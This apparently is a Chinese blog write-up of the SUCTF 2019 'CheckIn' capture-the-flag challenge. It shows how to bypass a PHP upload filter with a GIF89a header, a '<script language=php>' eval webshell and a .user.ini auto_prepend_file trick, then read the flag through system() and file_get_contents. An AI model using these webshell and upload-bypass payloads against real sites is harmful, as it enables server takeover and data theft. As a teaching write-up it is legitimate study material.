[SUCTF 2019]CheckIn
(0)
  1. 前言

参考链接:
https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html
我在这里理清一下这个文章的思路:

php.ini是PHP默认的配置文件,除了php.ini之外,PHP还会在每个目录下扫描INI文件(从.php文件被执行的目录开始一直到web根目录)。然后就可以把.user.ini(只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别)看成用户”自定义“的php.ini并且可以动态加载。除了php_ini_system以外的模式都是可以通过.user.ini来设置的。这个提到了php配置项中的:auto_append_file和auto_prepend_file表示:指定一个文件,自动包含在要执行的文件前或者后。类似调用了require()函数。

require()函数跟include()函数类似,区别在于,处理失败的方式不同。require在出错时生成致命错误,并停止脚本,而include只生成警告但会继续

  1. 题目分析
    先上传一个php文件,显示出:illegal suffix!

修改完文件后缀后又出现:<? in contents!
我们可以换一种木马

<script language="php">eval($_POST['a']);</script>

再上传出现错误:exif_imagetype:not image!

只需要对第一个字节修改就行了:GIF89a

上传成功,并且可以看出同一目录下同时存在index.php文件,这就跟上面文章中的.user.ini的运用条件呼应,就相当于我们可以在index.php中传入我们上传的文件的代码

我们再上传.user.ini文件

1.用蚁剑连接

2.直接执行命令
<script language='php'>system('cat /flag');</script>
或者用之前传入的木马post形式:a=var_dump(scandir("/"));
a=var_dump(file_get_contents("/flag"));
这里的函数:

scandir():列出指定路径中的文件和目录
var_dump():打印变量的相关信息(数组将递归展开值)
本文为作者hackerbo.com发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论